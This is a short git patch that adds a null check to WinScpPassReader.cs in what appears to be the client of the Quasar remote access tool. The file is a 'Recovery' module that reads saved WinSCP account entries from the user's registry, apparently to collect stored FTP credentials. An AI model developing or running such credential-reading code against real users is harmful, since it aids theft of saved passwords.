From e8356748c53798ddfbed1907760f1add1c5be41a Mon Sep 17 00:00:00 2001
From: quasarfan44345tz <ifqceuuk@exelica.com>
Date: Sat, 29 Jul 2023 10:55:45 +0200
Subject: [PATCH] add error checking

---
 Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs b/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs
index 3823ad5c..355d1c15 100644
--- a/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs
+++ b/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs
@@ -23,6 +23,10 @@ namespace Quasar.Client.Recovery.FtpClients
 
                 using (RegistryKey key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, regPath))
                 {
+                    if (key == null)
+                    {
+                        return data;
+                    }
                     foreach (String subkeyName in key.GetSubKeyNames())
                     {
                         using (RegistryKey accountKey = key.OpenReadonlySubKeySafe(subkeyName))